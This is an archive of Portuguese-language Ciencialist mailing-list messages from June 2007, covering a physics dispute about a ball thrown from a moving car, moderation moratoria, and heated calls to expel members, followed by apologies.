> > bem perto disso. Foi bastante satisfatório o experimento, ao meu ver.
> > JR1 - Se o deslocamento da bola fosse para a direita na primeira
> trajetória
> > antes de tocar o chão poderíamos afirmar sem dúvida que as
> velocidades não
> > eram iguais. No caso em questão em que a bola se inclina para a
> esquerda no
> > primeiro trajeto ao chão, considerar o efeito de rotação da bola como
> > impulcionador após o toque no chão é apenas um exercício de
imaginação.
> > Seria um evento que até poderia ocorrer, mas não justificaria a
> inclinação
> > para a esquerda no primeiro trajeto ao chão.
> >
> >
> > > Não adianta se esconder. A verdade vai chegando de mansinho no
> problema
> > > da bola e em outros trocentos problemas semelhantes de movimentos
> > > relativos.
> > > São eles que vão mostrar quem está errando e insistindo no erro de
> > > interpretação, só para não aceitar que minha análise está correta.
> > >
> > > Quem sabe de tanto vc repetir isso, se realize? Como naquele
profundo
> > > filme"Quem somos nós"?
> > > JR - Quem sabe um dia vc caia na real de que é isso que se realiza?
> >
> > Hmm... continue repetindo os mesmos argumentos sem sentido que um
dia vc
> > deve conseguir (pelo menos a gente vai se cansar de tentar te
explicar).
> > JR1 - Só espero que vc e outros não usem de renancalheirismo e,
> depois de
> > cairem na real, venham dizer que sabiam disso deeessde o início e
> que só
> > estavam discordando de bricadeirinha! Takata já indicou algo
> preocupante em
> > seu último comentário: deixa essa questão dos referenciais de
> medições para
> > Homero e outros se divertirem comigo. Por favor, não nos decepcionem!
> >
> > Abs,
> > Ricardo
> >
> > Abraços
> > José Renato
> >
>
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
> E-mail classificado pelo Identificador de Spam Inteligente Terra.
> Para alterar a categoria classificada, visite
>
http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma&_l=1,1182629077.673452.3648.capalaba.hst.terra.com.br,11012,Des15,Des15
>
> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 22/06/2007 / Versão:
> 5.1.00/5059
> Proteja o seu e-mail Terra: http://mail.terra.com.br/
>
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.9.7/868 - Release Date:
25/6/2007
> 12:20
>




SUBJECT: Re: Errar é humano p/ o padre José Renato
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 01:19

Oquei, negócio seguinte: moratória para o assunto avião na esteira.

Quem continuar a falar disso entra para moderação.

[]s,

Roberto Takata



SUBJECT: Re: Errar é humano p/ o padre José Renato
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 01:24

Acho que a moderação não tem resolvido porque tem sido muito frouxa.
Me junto ao Léo na sugestão de expulsão e pergunto: o que a lista
perderá sem as mensagens desses três?

Abraços,
JC - Estou entrando em auto-moderação expontânea



--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> Oquei, negócio seguinte: moratória para o assunto avião na esteira.
>
> Quem continuar a falar disso entra para moderação.
>
> []s,
>
> Roberto Takata
>




SUBJECT: O Liberando o Codigo da Vinci
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 02:52

Manuscritos e esboços do gênio (na verdadeira acepção da palavra) da
Renascença estão disponíveis para consulta online e gratuita.

Basta preencher o cadastro em:
http://www.leonardodigitale.com/

[]s,

Roberto Takata



SUBJECT: New device could lower ethanol production cost
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 10:03

p/o pessoal do ramo.


>To: free_energy@yahoogroups.com
>Subject: [free_energy] New device could lower ethanol production cost
>Date: Thu, 28 Jun 2007 01:21:19 -0000
>
>New device could lower ethanol production cost
>http://www.alternate-energy.net/N/news.php?detail=n1182982936.news
>
>

>
>Get your daily alternative energy news
>
>Alternate Energy Resource Network
>1000+ news sources-resources
> updated daily
>
>http://www.alternate-energy.net
>
>
>
>Next_Generation_Grid
>
>http://tech.groups.yahoo.com/group/next_generation_grid
>
>
>Alternative_Energy_Politics
>
>http://tech.groups.yahoo.com/group/Alternative_Energy_Politics
>
>
>Tomorrow-energy
>
>http://tech.groups.yahoo.com/group/tomorrow-energy
>
>
>Earth_Rescue_International
>
>http://groups.yahoo.com/group/Earth_Rescue_International
>
>
>
>




SUBJECT: Fwd: [secularismo] Professores: Ciência e Religião
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 14:33

Gostei da dica repassada em outra lista de discussao.

Aproveito para deixar aqui na Ciencialist.

Eh bem interessante.

Ateh
Luis Brudna


---------- Forwarded message ----------
From: Sandro <ssilva@smad.curitiba.pr.gov.br>
Date: Jun 28, 2007 10:00 AM
Subject: [secularismo] Professores: Ciência e Religião
To: secularismo@yahoogroups.com


No capítulo 6 do trabalho abaixo o autor procura descrever dos
professores entrevistados um background religioso e que alterações
este mesmo background sofreu na graduação e na prática do ensino. Há
várias passagens citando a relação Ciência (ou a prática do ensino
desta) e Religião:

Os professores de química, física e biologia da região oeste do
Paraná: formação e atuação
Autor: Malacarne, Vilmar
http://www.teses.usp.br/teses/disponiveis/48/48134/tde-14062007-164949/

Sandro Silva


SUBJECT: Re: [ciencialist] Fwd: [secularismo] Professores: Ciência e Religião
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 14:37

Para ser professor de ciência tem que ser ateu? Tive e tenho professores
excelentes que não misturam, mas também não deixam suas crenças...

sds

Em 28/06/07, Luis Brudna <luisbrudna@gmail.com> escreveu:
>
> Gostei da dica repassada em outra lista de discussao.
>
> Aproveito para deixar aqui na Ciencialist.
>
> Eh bem interessante.
>
> Ateh
> Luis Brudna
>
> ---------- Forwarded message ----------
> From: Sandro <ssilva@smad.curitiba.pr.gov.br<ssilva%40smad.curitiba.pr.gov.br>
> >
> Date: Jun 28, 2007 10:00 AM
> Subject: [secularismo] Professores: Ciência e Religião
> To: secularismo@yahoogroups.com <secularismo%40yahoogroups.com>
>
> No capítulo 6 do trabalho abaixo o autor procura descrever dos
> professores entrevistados um background religioso e que alterações
> este mesmo background sofreu na graduação e na prática do ensino. Há
> várias passagens citando a relação Ciência (ou a prática do ensino
> desta) e Religião:
>
> Os professores de química, física e biologia da região oeste do
> Paraná: formação e atuação
> Autor: Malacarne, Vilmar
> http://www.teses.usp.br/teses/disponiveis/48/48134/tde-14062007-164949/
>
> Sandro Silva
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fwd: [secularismo] Professores: Ciência e Religião
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 14:47

--- Em ciencialist@yahoogrupos.com.br, "Amauri N. Sanches Jr "
> Para ser professor de ciência tem que ser ateu? Tive e tenho
> professores excelentes que não misturam, mas também não deixam suas
> crenças...

Não precisa ser ateu. O documento indicado não faz menção a isso.

O q é necessário é, como esses seus professores, não misturarem as
estações.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fw: *BR* Bagaço de cana pode adicionar uma usina do Madeira ao setor
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/06/2007 15:05

Por que não? Se dúvidas sobre motores trifásicos são pertinentes, por que
não usinas "bagaçoelétricas"?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>; <redeliberal@yahoogrupos.com.br>
Sent: Monday, June 25, 2007 6:48 PM
Subject: Re: [ciencialist] Fw: *BR* Bagaço de cana pode adicionar uma usina
do Madeira ao setor


Quando vai aprender que isso não é pertinente ao C-List?
[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
Para: <ciencialist@yahoogrupos.com.br>; <redeliberal@yahoogrupos.com.br>
Enviada em: segunda-feira, 25 de junho de 2007 13:53
Assunto: [ciencialist] Fw: *BR* Bagaço de cana pode adicionar uma usina do
Madeira ao setor






Bagaço de cana pode adicionar uma usina do Madeira ao setor




##### ##### #####

Página de apoio
http://www.ciencialist.com




SUBJECT: Re: [ciencialist] Errar é humano
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/06/2007 15:07

Vamos aproveitar e queimá-los na fogueira também, para que ninguém se
esqueça do que acontece com os infiéis!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, June 23, 2007 11:26 PM
Subject: Re: [ciencialist] Errar é humano


Putz Grila!!!
Custou um bocado para perceberem a 'mancha' que Ferrari & Cia Bela deixa na
C-List.
Assim, mais uma vez peço licença a todos os listeiros para solicitar
"Exclusão imediata" e apagar todas as mensagens dos arquivos da C-List no
Yahoo, desses três inadequados participantes dessa lista de discussão.
Excluamos essas nódoas!
Proponho aos moderadores que se faça ONTEM essas exclusões ... tal é a
premência dos atos!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Nando" <nando.str@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 23 de junho de 2007 14:44
Assunto: Re: [ciencialist] Errar é humano


José Carlos Antonio wrote:

> Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
> estava errado e passo a concordar com a expulsão dos três e de tantos
> outros quantos necessário for para que essa lista volte a ser uma
> lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).

Qdo o Leo sugeriu a expulsão do Ferrari há alguns meses, não me
manifestei, mas agora concordo com a sugestão dele.
Mesmo não participando muito, leio cerca de 10% das mensagens da lista,
e com certeza posso viver sem mensagens do tipo 'dividam o um' e outras
besteiras.

Quanto aos outros usuários citados (Amauri e José Renato), não me
incomodei com nenhuma mensagem deles, mas não considero as viagens do
Ferrari adequadas pra essa lista. Venho aqui pra ler alguma coisa sobre
ciência, e não filosofia de 10ª categoria.





SUBJECT: Errar é humano, persistir no erro, burrice..:-)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/06/2007 15:41

Olá Amauri, o Voltaire

Amauri: "Perante de tal ameaça nada mais tenho a afirmar, apenas lamentar que pessoas que tem niveis superiores tenham tal comportamento de impor e não ensinar..."

Para que alguém possa ensinar, é preciso que a outra parte esteja disposta a aprender. Isso significa, entre outras coisas, admitir que sabe menos do que quem está a ensinar.

Não se pode ensinar a quem "já sabe a verdade", da mesma forma como não se pode ensinar quem pensa que todos os outros (os que estão dispostos a ensinar) são "fascistas" ou "inimigos". Também não é possível ensinar a quem renunciou a lógia e a razão, e apenas gera textos sem sentido (talvez de scripts de textos aleatórios que existem na Internet..:-), com sequências de perguntas intermináveis como "o que é interminável?" sem jamais dar uma resposta racional ou contribuir com algo.

Esta lista tem o propósito fundamental de divulgar conhecimento, um tipo específico de conhecimento, chamado de científico: rigoroso, verificável, eficaz, etc. Existem outras listas onde se divaga sobre filosofia, outras em que se louva sua divindade preferida, algumas que só existem para que os participantes possam se fonder e brigar, e uma vasta gama de outras possibilidades. Esta aqui, a CienciaList, tem sua função bem clara e definida, discute-se ciência, dentro de uma postura lógico-racional rigorosa (sem termos frouxos e definições vagas).

Pense em uma classe de aula, o professor está lá para ensinar e os alunos para aprender. Mas existem sempre componentes que só desejam bagunçar e fazer o possível para impedir que se dê bom andamento a aula. Se divertem fazendo perguntas engraçadinhas, ou fora de propósito, ou desviando o assunto para outras coisas, irritando os colegas e atrapalhando o professor. Nesses casos, é extremamente útil para a sala que este tipo de individuo (que na rede se convencionou chamar de "troll") seja impedido de agir dessa forma, em alguns casos sendo até colocado para fora da classe.

E isso não é de forma alguma fascismo ou autoritarismo, pois as regras são claras e a participação voluntária. E o banimento de um participante não é algo que foi inventado pela Internet para listas, mas um ato que defende o interesse de muitos em relação ao dano causado por poucos.

O que é combinado nunca é injusto. O combinado nesta lista é discutir, e aprender, sobre ciência. O resto pode ser assunto dentro de limites razoáveis, e com os participantes conscientes disso.

Agora de forma mais pessoal, você "torra o saco" Amauri..:-) Seu quase total desconhecimento de quase tudo, sua séria incapacidade cognitiva para com argumentos lógicos, já seriam exasperantes, mas sua recusa em tentar entender o que todos tentam explicar, é dose.

Observe que, quase todos aqui já tentaram, dezenas de vezes, ajudar você e explicar os argumentos, fatos e evidências de cada conclusão ou alegação apresentada. Diversas vezes. Eu mesmo quase sempre caio em sua conversa de "dessa vez vou prestar atenção, por favor me ajude"..:-) Mas, invarialvelmente, se as conclusões não são as que deseja, você joga a conversa no mato, como essa última acusação de "todo cientista é fascista".

Isso cansa Amauri. No lugar de estarmos a aprender, com quem sabe, e ensinando o que sabemos, ficamos nesses intermináveis bate bocas do tipo "é, não é, é, não é", ad nauseum.

Tente entender, Amauri, não precisa "aceitar" tudo que lhe explicam. Pode manter sua crença ou suas conclusões pessoais sem problema. Mas estas só se tornam válidas para outros se puder sustenta-las. E você não pode. O fato de que não "percebe" algo não significa que este algo esteja errado, significa apenas que você, sua capacidade cognitiva, atingiu seu limite. O universo vir do "nada", por exemplo, é uma incapacidade sua em entender os aspectos dessa conclusão, não uma falha na teoria. Não são suas limitações pessoais que decidem se uma teoria é correta ou não.

Se deseja permanecer na lista, e parece que deseja, tem de fazer uma força para compreender: por que deseja permanecer aqui, um local tão cheio de "fascistas" e gente que o persegue? Não será porque este é provavelmente o lugar onde você foi melhor tratado, onde mais pessoas, com a maior paciência possível, deram atenção a você, tentaram explicar o que não entendia, com educação e vontade? E que só se desesperaram no final, depois de centenas de mensagens malucas suas (e de outros, não está sozinho nessa..:-)?

Pense, Amauri, porque deseja permanecer em uma lista cheia de fascistas e gente desagradável, tanto a ponto de pedir desculpas por algo que nem acha mesmo que esta errado?

Nenhuma outra lista teria tanta paciência com você, Amauri, mas mesmo esta está acabando..:-)

Um abraço.

Homero




----- Original Message -----
From: Amauri Voltaire
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, June 24, 2007 1:06 PM
Subject: Re: [ciencialist] Errar é humano


Prof Luiz

Eu pedi desculpas perante o grupo, mas to achando que não estou errado
diante de tal afirmação, escreverei ao grupo de ética ou entidade cientifica
brasileira e mostrarei o ato infantil e fascista em riticularizar a ciência
e seus por menores...é um absurdo o comportamento de membros e temos que ler
lorotas de um pensamento antigo e de formas cientificas ultrapassadas que
ficaram nos tempos de Carl Sagan....

Perante de tal ameaça nada mais tenho a afirmar, apenas lamentar que pessoas
que tem niveis superiores tenham tal comportamento de impor e não ensinar...

sds

Amauri

Em 23/06/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Putz Grila!!!
> Custou um bocado para perceberem a 'mancha' que Ferrari & Cia Bela deixa
> na C-List.
> Assim, mais uma vez peço licença a todos os listeiros para solicitar
> "Exclusão imediata" e apagar todas as mensagens dos arquivos da C-List no
> Yahoo, desses três inadequados participantes dessa lista de discussão.
> Excluamos essas nódoas!
> Proponho aos moderadores que se faça ONTEM essas exclusões ... tal é a
> premência dos atos!
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Nando" <nando.str@gmail.com <nando.str%40gmail.com>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: sábado, 23 de junho de 2007 14:44
> Assunto: Re: [ciencialist] Errar é humano
>
> José Carlos Antonio wrote:
>
> > Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
> > estava errado e passo a concordar com a expulsão dos três e de tantos
> > outros quantos necessário for para que essa lista volte a ser uma
> > lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).
>
> Qdo o Leo sugeriu a expulsão do Ferrari há alguns meses, não me
> manifestei, mas agora concordo com a sugestão dele.
> Mesmo não participando muito, leio cerca de 10% das mensagens da lista,
> e com certeza posso viver sem mensagens do tipo 'dividam o um' e outras
> besteiras.
>
> Quanto aos outros usuários citados (Amauri e José Renato), não me
> incomodei com nenhuma mensagem deles, mas não considero as viagens do
> Ferrari adequadas pra essa lista. Venho aqui pra ler alguma coisa sobre
> ciência, e não filosofia de 10ª categoria.
>
>
>

--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire

"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Errar é humano, persistir no erro, burrice..:-)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 15:43

Oquei, outro assunto pra moratória.

O Amauri já se desculpou. A mensagem liberada é uma antiga, enviada
*antes* do pedido de desculpas.

[]s,

Roberto Takata



SUBJECT: Errata - Errar é humano, persistir no erro, burrice..:-)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/06/2007 15:46

Olá pessoal

Uma errata para um termo mal digitado, que pode dar margem a interpretações um tanto chulas..:-)

Onde está escrito "fonder" leia-se OFENDER (e não o outro verbo que o som da palavra digitada poderia lembrar..:-)

A frase correta seria:

"...algumas que só existem para que os participantes possam se ofender e brigar"

Um abraço.

Homero


----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, June 28, 2007 3:41 PM
Subject: [ciencialist] Errar é humano, persistir no erro, burrice..:-)


Olá Amauri, o Voltaire

Amauri: "Perante de tal ameaça nada mais tenho a afirmar, apenas lamentar que pessoas que tem niveis superiores tenham tal comportamento de impor e não ensinar..."

Para que alguém possa ensinar, é preciso que a outra parte esteja disposta a aprender. Isso significa, entre outras coisas, admitir que sabe menos do que quem está a ensinar.

Não se pode ensinar a quem "já sabe a verdade", da mesma forma como não se pode ensinar quem pensa que todos os outros (os que estão dispostos a ensinar) são "fascistas" ou "inimigos". Também não é possível ensinar a quem renunciou a lógia e a razão, e apenas gera textos sem sentido (talvez de scripts de textos aleatórios que existem na Internet..:-), com sequências de perguntas intermináveis como "o que é interminável?" sem jamais dar uma resposta racional ou contribuir com algo.

Esta lista tem o propósito fundamental de divulgar conhecimento, um tipo específico de conhecimento, chamado de científico: rigoroso, verificável, eficaz, etc. Existem outras listas onde se divaga sobre filosofia, outras em que se louva sua divindade preferida, algumas que só existem para que os participantes possam se fonder e brigar, e uma vasta gama de outras possibilidades. Esta aqui, a CienciaList, tem sua função bem clara e definida, discute-se ciência, dentro de uma postura lógico-racional rigorosa (sem termos frouxos e definições vagas).

Pense em uma classe de aula, o professor está lá para ensinar e os alunos para aprender. Mas existem sempre componentes que só desejam bagunçar e fazer o possível para impedir que se dê bom andamento a aula. Se divertem fazendo perguntas engraçadinhas, ou fora de propósito, ou desviando o assunto para outras coisas, irritando os colegas e atrapalhando o professor. Nesses casos, é extremamente útil para a sala que este tipo de individuo (que na rede se convencionou chamar de "troll") seja impedido de agir dessa forma, em alguns casos sendo até colocado para fora da classe.

E isso não é de forma alguma fascismo ou autoritarismo, pois as regras são claras e a participação voluntária. E o banimento de um participante não é algo que foi inventado pela Internet para listas, mas um ato que defende o interesse de muitos em relação ao dano causado por poucos.

O que é combinado nunca é injusto. O combinado nesta lista é discutir, e aprender, sobre ciência. O resto pode ser assunto dentro de limites razoáveis, e com os participantes conscientes disso.

Agora de forma mais pessoal, você "torra o saco" Amauri..:-) Seu quase total desconhecimento de quase tudo, sua séria incapacidade cognitiva para com argumentos lógicos, já seriam exasperantes, mas sua recusa em tentar entender o que todos tentam explicar, é dose.

Observe que, quase todos aqui já tentaram, dezenas de vezes, ajudar você e explicar os argumentos, fatos e evidências de cada conclusão ou alegação apresentada. Diversas vezes. Eu mesmo quase sempre caio em sua conversa de "dessa vez vou prestar atenção, por favor me ajude"..:-) Mas, invarialvelmente, se as conclusões não são as que deseja, você joga a conversa no mato, como essa última acusação de "todo cientista é fascista".

Isso cansa Amauri. No lugar de estarmos a aprender, com quem sabe, e ensinando o que sabemos, ficamos nesses intermináveis bate bocas do tipo "é, não é, é, não é", ad nauseum.

Tente entender, Amauri, não precisa "aceitar" tudo que lhe explicam. Pode manter sua crença ou suas conclusões pessoais sem problema. Mas estas só se tornam válidas para outros se puder sustenta-las. E você não pode. O fato de que não "percebe" algo não significa que este algo esteja errado, significa apenas que você, sua capacidade cognitiva, atingiu seu limite. O universo vir do "nada", por exemplo, é uma incapacidade sua em entender os aspectos dessa conclusão, não uma falha na teoria. Não são suas limitações pessoais que decidem se uma teoria é correta ou não.

Se deseja permanecer na lista, e parece que deseja, tem de fazer uma força para compreender: por que deseja permanecer aqui, um local tão cheio de "fascistas" e gente que o persegue? Não será porque este é provavelmente o lugar onde você foi melhor tratado, onde mais pessoas, com a maior paciência possível, deram atenção a você, tentaram explicar o que não entendia, com educação e vontade? E que só se desesperaram no final, depois de centenas de mensagens malucas suas (e de outros, não está sozinho nessa..:-)?

Pense, Amauri, porque deseja permanecer em uma lista cheia de fascistas e gente desagradável, tanto a ponto de pedir desculpas por algo que nem acha mesmo que esta errado?

Nenhuma outra lista teria tanta paciência com você, Amauri, mas mesmo esta está acabando..:-)

Um abraço.

Homero

----- Original Message -----
From: Amauri Voltaire
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, June 24, 2007 1:06 PM
Subject: Re: [ciencialist] Errar é humano

Prof Luiz

Eu pedi desculpas perante o grupo, mas to achando que não estou errado
diante de tal afirmação, escreverei ao grupo de ética ou entidade cientifica
brasileira e mostrarei o ato infantil e fascista em riticularizar a ciência
e seus por menores...é um absurdo o comportamento de membros e temos que ler
lorotas de um pensamento antigo e de formas cientificas ultrapassadas que
ficaram nos tempos de Carl Sagan....

Perante de tal ameaça nada mais tenho a afirmar, apenas lamentar que pessoas
que tem niveis superiores tenham tal comportamento de impor e não ensinar...

sds

Amauri

Em 23/06/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Putz Grila!!!
> Custou um bocado para perceberem a 'mancha' que Ferrari & Cia Bela deixa
> na C-List.
> Assim, mais uma vez peço licença a todos os listeiros para solicitar
> "Exclusão imediata" e apagar todas as mensagens dos arquivos da C-List no
> Yahoo, desses três inadequados participantes dessa lista de discussão.
> Excluamos essas nódoas!
> Proponho aos moderadores que se faça ONTEM essas exclusões ... tal é a
> premência dos atos!
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Nando" <nando.str@gmail.com <nando.str%40gmail.com>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: sábado, 23 de junho de 2007 14:44
> Assunto: Re: [ciencialist] Errar é humano
>
> José Carlos Antonio wrote:
>
> > Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
> > estava errado e passo a concordar com a expulsão dos três e de tantos
> > outros quantos necessário for para que essa lista volte a ser uma
> > lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).
>
> Qdo o Leo sugeriu a expulsão do Ferrari há alguns meses, não me
> manifestei, mas agora concordo com a sugestão dele.
> Mesmo não participando muito, leio cerca de 10% das mensagens da lista,
> e com certeza posso viver sem mensagens do tipo 'dividam o um' e outras
> besteiras.
>
> Quanto aos outros usuários citados (Amauri e José Renato), não me
> incomodei com nenhuma mensagem deles, mas não considero as viagens do
> Ferrari adequadas pra essa lista. Venho aqui pra ler alguma coisa sobre
> ciência, e não filosofia de 10ª categoria.
>
>
>

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Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire

"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Minhas desculpas - Errar é humano, persistir no erro, burrice..:-)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/06/2007 15:57

Olá pessoal

Ok, peço desculpas por ter respondido depois do pedido de desculpas, foi mal mesmo. Prometo não me estender nos assuntos em moratória, nem prolongar debates sem ligação com a ciência.

E peço desculpas ao Amauri por ter deixado escapar a mensagem depois do pedido de desculpas dele.

Um abraço.

Homero




----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, June 28, 2007 3:43 PM
Subject: [ciencialist] Re: Errar é humano, persistir no erro, burrice..:-)


Oquei, outro assunto pra moratória.

O Amauri já se desculpou. A mensagem liberada é uma antiga, enviada
*antes* do pedido de desculpas.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/06/2007 18:29

Só conjecturas, André! Ainda não vi ocorrer isso que vc imagina, visto que o
empuxo do ar tem a direção e sentido do carro em movimento. Por mais que o
turbilhonamento tenha várias direções e sentidos a resultante não será em
sentido contrário.
[]s
JR
...........................................

----- Original Message -----
From: "André L F S Bacci" <andrebacci.listas@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, June 25, 2007 10:56 PM
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


On 6/25/07, José Renato <jrma@terra.com.br> wrote:
> JR2 - Existe um aumento significativo da bola ao quicar pela primeira vez
> na
> pista... Verdade. O que provoca isso? São diversas as possibilidades:
> rotação na bola, empuxo do vento, pista irregular, pedregulho na pista...
> A
> única possibilidade que não pode ser negada é o empuxo do vento provocado
> pelo carro. As demais são ilações não verificáveis...

Na verdade... é negável sim.

Observe que o vento atrás do carro não se comporta como uma "banda
passante", uma coluna de ar homegeneamente se movimentando atrás do
carro.

Grosso modo, forma-se turbilhões, redemoinhos, assimétricos. É um
pouco menos provável, mas NÂO descartável que a bola sofra um arrasto
para trás e não para frente, dependendo de que partes dos turbilhões a
bola percorra.

(ou no caso, que os turbilhões percorram através da bola)

Não?

Acredito que esse dado, não anteriormente considera, reduza o
argumento do vento a uma hipótese não verificável, pelos seus
critérios de certeza.

André



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/06/2007 19:11


From: "Ricardo" <ricardos@ To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, June 25, 2007 11:57 PM
Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


Olá José Renato, acho que estamos de acordo em quase tudo, nesta questão.
Apenas algumas discordâncias.

> Existe um aumento significativo da bola ao quicar pela primeira vez na
> pista... Verdade. O que provoca isso? São diversas as possibilidades:
> rotação na bola, empuxo do vento, pista irregular, pedregulho na pista...
> A única possibilidade que não pode ser negada é o empuxo do vento
> provocado pelo carro. As demais são ilações não verificáveis...

Na verdade imagino ser possível que o movimento da bola seja causado pelo
vento, antes do 1o quicar da bola, mas não considero inegável.
JR3 - O turbilhonamento provocado pelo carro sempre terá resultante na mesma
direção e sentido dele. Se a bola tomar sentido contrário ao do carro deve
ser devido *a outra força qualquer*, mas certamente não é a do empuxo do
deslocamento do ar provocado pelo carro.

Mas em relação ao ganho de velocidade após este 1o quicar, acho que
realmente teríamos que descartar como causa o vento provocado pelo carro.
Não faria sentido ele atuar durante toda a queda, de maneira praticamente
uniforme, mas gerar tal aceleração após o 1o quicar. De resto, também
considero todas as teorias como sendo não verificáveis, neste caso. Estamos
elencando as explicações factíveis, mas não descobrindo causas definitivas.
Também penso assim.

> O que vc não pode negar é que o vento, provocado pelo deslocamento
> do carro, promove a aceleração horizontal da bola para a esquerda a partir
> do lançamento.

O que eu não nego é a *possibilidade* de haver uma aceleração resultante do
vento. O que quero dizer é que é possível que ela seja totalmente
desprezível, ou seja, o deslocamento gerado horizontalmente talvez não seja
